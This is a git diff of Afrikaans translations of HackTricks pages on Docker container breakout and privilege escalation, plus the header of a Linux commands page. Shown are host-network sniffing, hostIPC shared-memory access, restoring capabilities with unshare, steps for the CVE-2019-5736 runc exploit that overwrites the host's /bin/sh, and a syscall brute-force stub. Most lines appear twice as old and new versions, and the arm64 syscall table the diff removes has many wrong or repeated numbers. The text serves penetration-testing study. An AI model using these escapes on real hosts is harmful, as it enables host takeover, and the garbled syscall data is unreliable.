As 'n houer gekonfigureer is met die Docker [host-netwerkbestuurder (`--network=host`)](https://docs.docker.com/network/host/), is daardie houer se netwerkstapel nie geïsoleer van die Docker-gashouer nie (die houer deel die gashouer se netwerk-namespace) en die houer kry nie sy eie IP-adres toegewys nie. Met ander woorde, die **houer bind alle dienste direk aan die gashouer se IP**. Verder kan die houer **ALLE netwerkverkeer onderskep wat die gashouer** stuur en ontvang op die gedeelde koppelvlak `tcpdump -i eth0`.
|
||||
Indien 'n houer ingestel is met die Docker [gasnetwerkbestuurder (`--network=host`)](https://docs.docker.com/network/host/), is daardie houer se netwerkstapel nie geïsoleer van die Docker-gashouer nie (die houer deel die gasheer se netwerk-namespace), en die houer kry nie sy eie IP-adres toegewys nie. Met ander woorde, **bind die houer alle dienste direk aan die gasheer se IP**. Verder kan die houer **ALLE netwerkverkeer wat die gasheer** stuur en ontvang op die gedeelde koppelvlak onderskep `tcpdump -i eth0`.
|
||||
|
||||
Byvoorbeeld, jy kan dit gebruik om verkeer tussen die gashouer en metadata-instansie **af te luister en selfs te vervals**.
|
||||
Byvoorbeeld, jy kan dit gebruik om **verkeer te snuif en selfs te vervals** tussen die gasheer en metadata-instansie.
|
||||
|
||||
Soos in die volgende voorbeelde:
|
||||
|
||||
* [Writeup: Hoe om Google SRE te kontak: 'n Skulp in die wolk SQL laat val](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Metadata-diens MITM maak wortelvoorregverhoging moontlik (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
* [Verslag: Hoe om Google SRE te kontak: 'n Skul in die wolk SQL laat val](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Metadata-diens MITM maak wortelprivilege-escalatie moontlik (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
Jy sal ook in staat wees om toegang te verkry tot **netwerkdienste wat aan die localhost gebind is** binne die gashouer of selfs toegang te verkry tot die **metadata-permissies van die node** (wat verskillend kan wees as dié wat 'n houer kan verkry).
|
||||
Jy sal ook in staat wees om **netwerkdienste wat aan localhost gebind is** binne die gasheer te benader of selfs die **metadata-toestemmings van die node** te benader (wat dalk verskillend is van dié wat 'n houer kan benader).
|
||||
|
||||
### hostIPC
|
||||
```bash
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
Met `hostIPC=true` kry jy toegang tot die gasheer se interproseskommunikasie (IPC) hulpbronne, soos **gedeelde geheue** in `/dev/shm`. Dit maak dit moontlik om te lees/skryf waar dieselfde IPC-hulpbronne deur ander gasheer- of houerprosesse gebruik word. Gebruik `ipcs` om hierdie IPC-meganismes verder te ondersoek.
|
||||
Met `hostIPC=true`, verkry jy toegang tot die interproses kommunikasie (IPC) bronne van die gasheer, soos **gedeelde geheue** in `/dev/shm`. Dit maak dit moontlik om te lees/skryf waar dieselfde IPC-bronne deur ander gasheer- of houerprosesse gebruik word. Gebruik `ipcs` om hierdie IPC-meganismes verder te ondersoek.
|
||||
|
||||
* **Ondersoek /dev/shm** - Kyk vir enige lêers in hierdie gedeelde geheue-plek: `ls -la /dev/shm`
|
||||
* **Ondersoek /dev/shm** - Soek na enige lêers in hierdie gedeelde geheue-plek: `ls -la /dev/shm`
|
||||
* **Ondersoek bestaande IPC-fasiliteite** - Jy kan nagaan of enige IPC-fasiliteite gebruik word met `/usr/bin/ipcs`. Kontroleer dit met: `ipcs -a`
|
||||
|
||||
### Herstel bevoegdhede
|
||||
### Herstel vaardighede
|
||||
|
||||
As die systoeproep **`unshare`** nie verbied is nie, kan jy al die bevoegdhede herstel deur die volgende uit te voer:
|
||||
As die systaalaanroep **`unshare`** nie verbied is nie, kan jy al die vaardighede herstel deur uit te voer:
|
||||
```bash
|
||||
unshare -UrmCpf bash
|
||||
# Check them with
|
||||
cat /proc/self/status | grep CapEff
|
||||
```
|
||||
### Gebruikersnaamruimte-misbruik via symboliese koppeling
|
||||
### Gebruikersnaamruimte misbruik via symboliese koppeling
|
||||
|
||||
Die tweede tegniek wat in die berig [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) verduidelik word, dui aan hoe jy bindkoppeling met gebruikersnaamruimtes kan misbruik om lêers binne die gasheer te beïnvloed (in daardie spesifieke geval, lêers uitvee).
|
||||
Die tweede tegniek wat verduidelik word in die pos [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) dui aan hoe jy bindkoppeling met gebruikersnaamruimtes kan misbruik om lêers binne die gasheer te beïnvloed (in daardie spesifieke geval, lêers te verwyder).
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloeie te bou** en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## CVE's
|
||||
|
||||
### Runc-uitbuiting (CVE-2019-5736)
|
||||
### Runc uitbuiting (CVE-2019-5736)
|
||||
|
||||
In die geval dat jy `docker exec` as root kan uitvoer (waarskynlik met sudo), kan jy probeer om voorregte te verhoog deur te ontsnap uit 'n houer wat misbruik maak van CVE-2019-5736 (uitbuiting [hier](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Hierdie tegniek sal basies die _**/bin/sh**_ binêre lêer van die **gasheer** **oorvleuel** vanuit 'n houer, sodat enigeen wat docker exec uitvoer die nut kan aktiveer.
|
||||
In die geval dat jy `docker exec` as root kan uitvoer (waarskynlik met sudo), kan jy probeer om voorregte te eskaleer deur te ontsnap uit 'n houer wat misbruik maak van CVE-2019-5736 (uitbuiting [hier](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Hierdie tegniek sal basies die _**/bin/sh**_ binêre lêer van die **gasheer** **oorvryf vanuit 'n houer**, sodat enigeen wat `docker exec` uitvoer die lading kan aktiveer.
|
||||
|
||||
Verander die nut volgens jou behoeftes en bou die main.go met `go build main.go`. Die resulterende binêre lêer moet in die docker-houer geplaas word vir uitvoering.\
|
||||
By uitvoering, sodra dit `[+] Overwritten /bin/sh successfully` vertoon, moet jy die volgende vanaf die gasheermasjien uitvoer:
|
||||
Verander die lading dienooreenkomstig en bou die main.go met `go build main.go`. Die resulterende binêre lêer moet in die docker-houer geplaas word vir uitvoering.\
|
||||
Met uitvoering, sodra dit `[+] Oorvryf /bin/sh suksesvol` vertoon, moet jy die volgende vanaf die gasheer-rekenaar uitvoer:
|
||||
|
||||
`docker exec -it <container-naam> /bin/sh`
|
||||
`docker exec -it <houer-naam> /bin/sh`
|
||||
|
||||
Dit sal die nut aktiveer wat in die main.go-lêer aanwesig is.
|
||||
Dit sal die lading aktiveer wat teenwoordig is in die main.go-lêer.
|
||||
|
||||
Vir meer inligting: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
|
||||
{% hint style="info" %}
|
||||
Daar is ander CVE's waarop die houer kwesbaar kan wees, jy kan 'n lys vind by [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
|
||||
Daar is ander CVE's waaraan die houer kwesbaar kan wees, jy kan 'n lys vind in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
|
||||
{% endhint %}
|
||||
|
||||
## Aangepaste Docker-ontsnapping
|
||||
## Docker Aangepaste Ontsnapping
|
||||
|
||||
### Docker-ontsnappingsoppervlak
|
||||
### Docker Ontsnappingsoppervlak
|
||||
|
||||
* **Naamruimtes:** Die proses moet **volledig geskei wees van ander prosesse** via naamruimtes, sodat ons nie kan ontsnap deur met ander prosesse te kommunikeer nie (kan nie standaard kommunikeer via IPC's, Unix-aansluitings, netwerkdienste, D-Bus, `/proc` van ander prosesse nie).
|
||||
* **Root-gebruiker**: Standaard is die gebruiker wat die proses uitvoer die root-gebruiker (tans beperkte voorregte).
|
||||
* **Vermoëns**: Docker laat die volgende vermoëns agter: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **Syscalls**: Dit is die syscalls wat die **root-gebruiker nie sal kan aanroep nie** (as gevolg van ontbrekende vermoëns + Seccomp). Die ander syscalls kan gebruik word om te probeer ontsnap.
|
||||
* **Naamruimtes:** Die proses moet **heeltemal geskei wees van ander prosesse** via naamruimtes, sodat ons nie kan ontsnap om met ander prosesse te kommunikeer as gevolg van naamruimtes (standaard kan nie kommunikeer via IPC's, Unix-sockets, netwerkdienste, D-Bus, `/proc` van ander prosesse).
|
||||
* **Root-gebruiker**: Standaard is die gebruiker wat die proses uitvoer die root-gebruiker (tans is sy voorregte beperk).
|
||||
* **Vermoeëns**: Docker laat die volgende vermoëns oor: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **Syscalls**: Dit is die syscalls wat die **root-gebruiker nie sal kan aanroep nie** (wegens gebrek aan vermoëns + Seccomp). Die ander syscalls kan gebruik word om te probeer ontsnap.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="x64 syscalls" %}
|
||||
|
@ -543,370 +539,35 @@ Daar is ander CVE's waarop die houer kwesbaar kan wees, jy kan 'n lys vind by [h
|
|||
0x140 -- kexec_file_load
|
||||
0x141 -- bpf
|
||||
```
|
||||
{% tab title="arm64 syscalls" %}
|
||||
{% endtab %}
|
||||
|
||||
Hier is 'n lys van die mees gebruikte arm64-sistemaanroepe:
|
||||
{% tab title="arm64 syscalls" %}
|
||||
### Docker Breakout Privilege Escalation
|
||||
|
||||
| Sistemaanroep | Nommer |
|
||||
| --- | --- |
|
||||
| read | 63 |
|
||||
| write | 64 |
|
||||
| open | 1024 |
|
||||
| close | 57 |
|
||||
| stat | 106 |
|
||||
| fstat | 80 |
|
||||
| lstat | 107 |
|
||||
| poll | 7 |
|
||||
| lseek | 62 |
|
||||
| mmap | 222 |
|
||||
| mprotect | 226 |
|
||||
| munmap | 215 |
|
||||
| brk | 214 |
|
||||
| rt_sigaction | 134 |
|
||||
| rt_sigprocmask | 135 |
|
||||
| rt_sigreturn | 139 |
|
||||
| ioctl | 29 |
|
||||
| pread64 | 67 |
|
||||
| pwrite64 | 68 |
|
||||
| readv | 65 |
|
||||
| writev | 66 |
|
||||
| access | 103 |
|
||||
| pipe | 104 |
|
||||
| select | 82 |
|
||||
| sched_yield | 124 |
|
||||
| mremap | 216 |
|
||||
| msync | 227 |
|
||||
| mincore | 232 |
|
||||
| madvise | 233 |
|
||||
| shmget | 215 |
|
||||
| shmat | 216 |
|
||||
| shmctl | 217 |
|
||||
| dup | 23 |
|
||||
| dup2 | 24 |
|
||||
| pause | 29 |
|
||||
| nanosleep | 101 |
|
||||
| getitimer | 102 |
|
||||
| alarm | 27 |
|
||||
| setitimer | 103 |
|
||||
| getpid | 20 |
|
||||
| sendfile | 71 |
|
||||
| socket | 97 |
|
||||
| connect | 98 |
|
||||
| accept | 99 |
|
||||
| sendto | 101 |
|
||||
| recvfrom | 102 |
|
||||
| sendmsg | 103 |
|
||||
| recvmsg | 104 |
|
||||
| shutdown | 116 |
|
||||
| bind | 99 |
|
||||
| listen | 106 |
|
||||
| getsockname | 32 |
|
||||
| getpeername | 31 |
|
||||
| socketpair | 135 |
|
||||
| setsockopt | 105 |
|
||||
| getsockopt | 118 |
|
||||
| clone | 220 |
|
||||
| fork | 57 |
|
||||
| vfork | 58 |
|
||||
| execve | 221 |
|
||||
| exit | 93 |
|
||||
| wait4 | 260 |
|
||||
| kill | 129 |
|
||||
| uname | 63 |
|
||||
| semget | 221 |
|
||||
| semop | 222 |
|
||||
| semctl | 223 |
|
||||
| shmdt | 224 |
|
||||
| msgget | 225 |
|
||||
| msgsnd | 226 |
|
||||
| msgrcv | 227 |
|
||||
| msgctl | 228 |
|
||||
| fcntl | 25 |
|
||||
| flock | 32 |
|
||||
| fsync | 82 |
|
||||
| fdatasync | 83 |
|
||||
| truncate | 92 |
|
||||
| ftruncate | 93 |
|
||||
| getdents | 78 |
|
||||
| getcwd | 79 |
|
||||
| chdir | 80 |
|
||||
| fchdir | 81 |
|
||||
| rename | 128 |
|
||||
| mkdir | 83 |
|
||||
| rmdir | 84 |
|
||||
| creat | 85 |
|
||||
| link | 86 |
|
||||
| unlink | 87 |
|
||||
| symlink | 88 |
|
||||
| readlink | 89 |
|
||||
| chmod | 90 |
|
||||
| fchmod | 91 |
|
||||
| chown | 92 |
|
||||
| fchown | 93 |
|
||||
| lchown | 94 |
|
||||
| umask | 95 |
|
||||
| gettimeofday | 96 |
|
||||
| getrlimit | 97 |
|
||||
| getrusage | 98 |
|
||||
| sysinfo | 99 |
|
||||
| times | 100 |
|
||||
| ptrace | 101 |
|
||||
| getuid | 102 |
|
||||
| syslog | 103 |
|
||||
| getgid | 104 |
|
||||
| setuid | 105 |
|
||||
| setgid | 106 |
|
||||
| geteuid | 107 |
|
||||
| getegid | 108 |
|
||||
| setpgid | 109 |
|
||||
| getppid | 110 |
|
||||
| getpgrp | 111 |
|
||||
| setsid | 112 |
|
||||
| setreuid | 113 |
|
||||
| setregid | 114 |
|
||||
| getgroups | 115 |
|
||||
| setgroups | 116 |
|
||||
| setresuid | 117 |
|
||||
| getresuid | 118 |
|
||||
| setresgid | 119 |
|
||||
| getresgid | 120 |
|
||||
| getpgid | 121 |
|
||||
| setfsuid | 122 |
|
||||
| setfsgid | 123 |
|
||||
| getsid | 124 |
|
||||
| capget | 125 |
|
||||
| capset | 126 |
|
||||
| rt_sigpending | 127 |
|
||||
| rt_sigtimedwait | 128 |
|
||||
| rt_sigqueueinfo | 129 |
|
||||
| rt_sigsuspend | 130 |
|
||||
| sigaltstack | 131 |
|
||||
| utime | 132 |
|
||||
| mknod | 133 |
|
||||
| uselib | 134 |
|
||||
| personality | 135 |
|
||||
| ustat | 136 |
|
||||
| statfs | 137 |
|
||||
| fstatfs | 138 |
|
||||
| sysfs | 139 |
|
||||
| getpriority | 140 |
|
||||
| setpriority | 141 |
|
||||
| sched_setparam | 142 |
|
||||
| sched_getparam | 143 |
|
||||
| sched_setscheduler | 144 |
|
||||
| sched_getscheduler | 145 |
|
||||
| sched_get_priority_max | 146 |
|
||||
| sched_get_priority_min | 147 |
|
||||
| sched_rr_get_interval | 148 |
|
||||
| mlock | 149 |
|
||||
| munlock | 150 |
|
||||
| mlockall | 151 |
|
||||
| munlockall | 152 |
|
||||
| vhangup | 153 |
|
||||
| modify_ldt | 154 |
|
||||
| pivot_root | 155 |
|
||||
| _sysctl | 156 |
|
||||
| prctl | 157 |
|
||||
| arch_prctl | 158 |
|
||||
| adjtimex | 159 |
|
||||
| setrlimit | 160 |
|
||||
| chroot | 161 |
|
||||
| sync | 162 |
|
||||
| acct | 163 |
|
||||
| settimeofday | 164 |
|
||||
| mount | 165 |
|
||||
| umount2 | 166 |
|
||||
| swapon | 167 |
|
||||
| swapoff | 168 |
|
||||
| reboot | 169 |
|
||||
| sethostname | 170 |
|
||||
| setdomainname | 171 |
|
||||
| iopl | 172 |
|
||||
| ioperm | 173 |
|
||||
| create_module | 174 |
|
||||
| init_module | 175 |
|
||||
| delete_module | 176 |
|
||||
| get_kernel_syms | 177 |
|
||||
| query_module | 178 |
|
||||
| quotactl | 179 |
|
||||
| nfsservctl | 180 |
|
||||
| getpmsg | 181 |
|
||||
| putpmsg | 182 |
|
||||
| afs_syscall | 183 |
|
||||
| tuxcall | 184 |
|
||||
| security | 185 |
|
||||
| gettid | 186 |
|
||||
| readahead | 187 |
|
||||
| setxattr | 188 |
|
||||
| lsetxattr | 189 |
|
||||
| fsetxattr | 190 |
|
||||
| getxattr | 191 |
|
||||
| lgetxattr | 192 |
|
||||
| fgetxattr | 193 |
|
||||
| listxattr | 194 |
|
||||
| llistxattr | 195 |
|
||||
| flistxattr | 196 |
|
||||
| removexattr | 197 |
|
||||
| lremovexattr | 198 |
|
||||
| fremovexattr | 199 |
|
||||
| tkill | 200 |
|
||||
| time | 201 |
|
||||
| futex | 202 |
|
||||
| sched_setaffinity | 203 |
|
||||
| sched_getaffinity | 204 |
|
||||
| set_thread_area | 205 |
|
||||
| io_setup | 206 |
|
||||
| io_destroy | 207 |
|
||||
| io_getevents | 208 |
|
||||
| io_submit | 209 |
|
||||
| io_cancel | 210 |
|
||||
| get_thread_area | 211 |
|
||||
| lookup_dcookie | 212 |
|
||||
| epoll_create | 213 |
|
||||
| epoll_ctl_old | 214 |
|
||||
| epoll_wait_old | 215 |
|
||||
| remap_file_pages | 216 |
|
||||
| getdents64 | 217 |
|
||||
| set_tid_address | 218 |
|
||||
| restart_syscall | 219 |
|
||||
| semtimedop | 220 |
|
||||
| fadvise64 | 221 |
|
||||
| timer_create | 222 |
|
||||
| timer_settime | 223 |
|
||||
| timer_gettime | 224 |
|
||||
| timer_getoverrun | 225 |
|
||||
| timer_delete | 226 |
|
||||
| clock_settime | 227 |
|
||||
| clock_gettime | 228 |
|
||||
| clock_getres | 229 |
|
||||
| clock_nanosleep | 230 |
|
||||
| exit_group | 231 |
|
||||
| epoll_wait | 232 |
|
||||
| epoll_ctl | 233 |
|
||||
| tgkill | 234 |
|
||||
| utimes | 235 |
|
||||
| vserver | 236 |
|
||||
| mbind | 237 |
|
||||
| set_mempolicy | 238 |
|
||||
| get_mempolicy | 239 |
|
||||
| mq_open | 240 |
|
||||
| mq_unlink | 241 |
|
||||
| mq_timedsend | 242 |
|
||||
| mq_timedreceive | 243 |
|
||||
| mq_notify | 244 |
|
||||
| mq_getsetattr | 245 |
|
||||
| kexec_load | 246 |
|
||||
| waitid | 247 |
|
||||
| add_key | 248 |
|
||||
| request_key | 249 |
|
||||
| keyctl | 250 |
|
||||
| ioprio_set | 251 |
|
||||
| ioprio_get | 252 |
|
||||
| inotify_init | 253 |
|
||||
| inotify_add_watch | 254 |
|
||||
| inotify_rm_watch | 255 |
|
||||
| migrate_pages | 256 |
|
||||
| openat | 257 |
|
||||
| mkdirat | 258 |
|
||||
| mknodat | 259 |
|
||||
| fchownat | 260 |
|
||||
| futimesat | 261 |
|
||||
| newfstatat | 262 |
|
||||
| unlinkat | 263 |
|
||||
| renameat | 264 |
|
||||
| linkat | 265 |
|
||||
| symlinkat | 266 |
|
||||
| readlinkat | 267 |
|
||||
| fchmodat | 268 |
|
||||
| faccessat | 269 |
|
||||
| pselect6 | 270 |
|
||||
| ppoll | 271 |
|
||||
| unshare | 272 |
|
||||
| set_robust_list | 273 |
|
||||
| get_robust_list | 274 |
|
||||
| splice | 275 |
|
||||
| tee | 276 |
|
||||
| sync_file_range | 277 |
|
||||
| vmsplice | 278 |
|
||||
| move_pages | 279 |
|
||||
| utimensat | 280 |
|
||||
| epoll_pwait | 281 |
|
||||
| signalfd | 282 |
|
||||
| timerfd_create | 283 |
|
||||
| eventfd | 284 |
|
||||
| fallocate | 285 |
|
||||
| timerfd_settime | 286 |
|
||||
| timerfd_gettime | 287 |
|
||||
| accept4 | 288 |
|
||||
| signalfd4 | 289 |
|
||||
| eventfd2 | 290 |
|
||||
| epoll_create1 | 291 |
|
||||
| dup3 | 292 |
|
||||
| pipe2 | 293 |
|
||||
| inotify_init1 | 294 |
|
||||
| preadv | 295 |
|
||||
| pwritev | 296 |
|
||||
| rt_tgsigqueueinfo | 297 |
|
||||
| perf_event_open | 298 |
|
||||
| recvmmsg | 299 |
|
||||
| fanotify_init | 300 |
|
||||
| fanotify_mark | 301 |
|
||||
| prlimit64 | 302 |
|
||||
| name_to_handle_at | 303 |
|
||||
| open_by_handle_at | 304 |
|
||||
| clock_adjtime | 305 |
|
||||
| syncfs | 306 |
|
||||
| sendmmsg | 307 |
|
||||
| setns | 308 |
|
||||
| getcpu | 309 |
|
||||
| process_vm_readv | 310 |
|
||||
| process_vm_writev | 311 |
|
||||
| kcmp | 312 |
|
||||
| finit_module | 313 |
|
||||
| sched_setattr | 314 |
|
||||
| sched_getattr | 315 |
|
||||
| renameat2 | 316 |
|
||||
| seccomp | 317 |
|
||||
| getrandom | 318 |
|
||||
| memfd_create | 319 |
|
||||
| kexec_file_load | 320 |
|
||||
| bpf | 321 |
|
||||
| execveat | 322 |
|
||||
| userfaultfd | 323 |
|
||||
| membarrier | 324 |
|
||||
| mlock2 | 325 |
|
||||
| copy_file_range | 326 |
|
||||
| preadv2 | 327 |
|
||||
| pwritev2 | 328 |
|
||||
| pkey_mprotect | 329 |
|
||||
| pkey_alloc | 330 |
|
||||
| pkey_free | 331 |
|
||||
| statx | 332 |
|
||||
| io_pgetevents | 333 |
|
||||
| rseq | 334 |
|
||||
| pidfd_send_signal | 424 |
|
||||
| io_uring_setup | 425 |
|
||||
| io_uring_enter | 426 |
|
||||
| io_uring_register | 427 |
|
||||
| open_tree | 428 |
|
||||
| move_mount | 429 |
|
||||
| fsopen | 430 |
|
||||
| fsconfig | 431 |
|
||||
| fsmount | 432 |
|
||||
| fspick | 433 |
|
||||
| pidfd_open | 434 |
|
||||
| clone3 | 435 |
|
||||
| close_range | 436 |
|
||||
| openat2 | 437 |
|
||||
| pidfd_getfd | 438 |
|
||||
| faccessat2 | 439 |
|
||||
| process_madvise | 440 |
|
||||
| epoll_pwait2 | 441 |
|
||||
| mount_setattr | 442 |
|
||||
| landlock_create_ruleset | 444 |
|
||||
| landlock_add_rule | 445 |
|
||||
| landlock_restrict_self | 446 |
|
||||
#### Description
|
||||
|
||||
Docker breakout is a privilege escalation technique that allows an attacker to break out of a Docker container and gain access to the underlying host system. This can lead to full compromise of the host and potentially the entire network.
|
||||
|
||||
#### Attack Scenario
|
||||
|
||||
1. **Identify Docker Environment**: The attacker first needs to identify that the target system is running Docker.
|
||||
|
||||
2. **Exploit Vulnerabilities**: The attacker exploits vulnerabilities within the Docker container to gain access to the host system.
|
||||
|
||||
3. **Privilege Escalation**: Once inside the host system, the attacker escalates privileges to gain root access.
|
||||
|
||||
#### Mitigation
|
||||
|
||||
- Regularly update Docker and the underlying host system to patch known vulnerabilities.
|
||||
- Implement least privilege principles to restrict container capabilities.
|
||||
- Monitor Docker logs and system logs for any suspicious activities.
|
||||
- Use security tools like AppArmor and SELinux to enforce security policies.
|
||||
- Consider using Docker Bench Security to check for common best practices.
|
||||
|
||||
#### References
|
||||
|
||||
- [Docker Security](https://docs.docker.com/engine/security/security/)
|
||||
- [Docker Bench Security](https://github.com/docker/docker-bench-security)
|
||||
{% endtab %}
|
||||
```
|
||||
0x029 -- pivot_root
|
||||
|
@ -925,7 +586,13 @@ Hier is 'n lys van die mees gebruikte arm64-sistemaanroepe:
|
|||
0x111 -- finit_module
|
||||
0x118 -- bpf
|
||||
```
|
||||
{% tab title="syscall_bf.c" %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="syscall_bf.c" %}
|
||||
### Docker Breakout Privilege Escalation
|
||||
|
||||
Hierdie tegniek maak gebruik van 'n spesifieke kwesbaarheid in Docker wat toelaat dat 'n aanvaller van binne 'n Docker-houer kan ontsnap en beheer oor die gasheerstelsel kan verkry. Die aanvaller kan die `CAP_SYS_ADMIN`-bevoegdheid verkry deur 'n spesifieke reeks van stelseloproepers te maak. Hierdie aanval vereis egter dat die aanvaller reeds toegang tot die Docker-houer het.
|
||||
{% endtab %}
|
||||
````c
|
||||
// From a conversation I had with @arget131
|
||||
// Fir bfing syscalss in x64
|
||||
|
@ -989,7 +656,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
@ -1005,7 +672,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# Nuttige Linux-opdragte
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en outomatiese werkstrome te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -13,11 +13,11 @@ Kry vandag toegang:
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -140,10 +140,11 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
